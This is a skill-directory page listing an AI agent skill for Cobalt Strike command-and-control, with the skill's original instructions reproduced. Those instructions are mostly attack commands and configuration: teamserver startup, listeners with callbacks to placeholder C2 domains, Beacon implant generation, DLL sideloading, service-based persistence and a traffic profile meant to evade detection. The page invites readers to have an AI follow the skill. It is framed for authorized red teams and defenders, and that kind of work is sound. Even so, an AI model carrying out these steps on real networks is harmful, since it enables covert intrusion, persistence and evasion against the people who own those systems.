Skip to content
Skillpedia
Security6.5k · #14127

c2-cobalt-strike

What it does

This guide covers how a commercial adversary simulation platform is set up for authorized exercises. It is for red teams and defenders who need to understand how a common framework appears on a network.

When to use it

  • ✓When an authorized red-team exercise uses Cobalt Strike and the team must understand its setup.
  • ✓When a defending team wants to recognize Cobalt Strike traffic and artifacts.
  • ✓When a team plans how traffic profiles change what a network monitor sees.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“Our red team is using Cobalt Strike in an authorized exercise. Can you explain what the blue team should watch for in our network?”

5 new skills a week. 1 minute to read.

How it works

The agent explains the framework's main parts, such as its teamserver, listeners and traffic profiles, and suggests what monitoring should detect within the exercise.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Cobalt Strike Beacon Operations

Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.

Quick Reference

# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile

# Connect client
./cobaltstrike

# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe

# List active Beacons (Aggressor console)
beacon_ids()

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Application Layer Protocol: Web Protocols T1071.001 HTTPS/HTTP Beacon traffic
Encrypted Channel: Symmetric Cryptography T1573.001 AES-256 encrypted C2 comms
Non-Application Layer Protocol T1095 Raw TCP/SMB Beacon channels
Protocol Tunneling T1572 DNS tunneling, SMB named pipe chaining

1. Teamserver Setup

The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.

# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile

# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050

# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'

OPSEC notes:

  • Never expose the teamserver port directly to the internet — use a redirector
  • Use a unique password per engagement; avoid defaults
  • Bind the management port to localhost or VPN interface only

2. Listener Configuration

HTTPS Listener

# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name:    https-beacon
# Payload: Beacon HTTPS
# Host:    <C2_DOMAIN>
# Port:    443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)

DNS Listener

# Name:    dns-beacon
# Payload: Beacon DNS
# Host:    ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port:    53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
#   A    ns1.<C2_DOMAIN>  ->  <TEAMSERVER_IP>
#   NS   c2.<C2_DOMAIN>   ->  ns1.<C2_DOMAIN>

SMB Listener (Peer-to-Peer)

# Name:    smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.

TCP Listener (Bind/Reverse)

# Name:    tcp-bind
# Payload: Beacon TCP (Bind)
# Port:    4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.

3. Beacon Generation

Stageless Payloads (Preferred for OPSEC)

# GUI: Attacks > Packages > Windows Executable (S)
# Listener:  https-beacon
# Output:    Windows EXE (stageless)
# x64:       checked
# Save to:   /workspace/exploit/beacon_https_x64.exe

# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener:  https-beacon
# Output:    Raw
# x64:       checked
# Save to:   /workspace/exploit/beacon.bin

Staged Payloads

# GUI: Attacks > Packages > Windows Executable
# Listener:  https-beacon
# Output:    Windows EXE
# x64:       checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.

DLL Payloads (Sideloading)

# Attacks > Packages > Windows DLL
# Listener:  https-beacon
# x64:       checked
# Save to:   /workspace/exploit/beacon.dll

# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW

Service EXE (Persistence)

# Attacks > Packages > Windows Service EXE
# Listener:  https-beacon
# x64:       checked
# Registers as a Windows service for persistence via:
#   sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= auto

4. Malleable C2 Profiles

Malleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.

Profile Structure

# /workspace/profiles/amazon.profile

set sample_name "Amazon Browsing";
set sleeptime "60000";          # 60 second callback
set jitter    "37";             # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
FAQ

What is a teamserver?

It is the central server that manages the implants and operators in a framework like this.

Why do traffic profiles matter?

They change how the traffic looks, which is why defenders need behavior-based detection.

Who should use this?

Red teams with authorization and the defenders who monitor their network.

Details

Original description by the author

Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14127
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills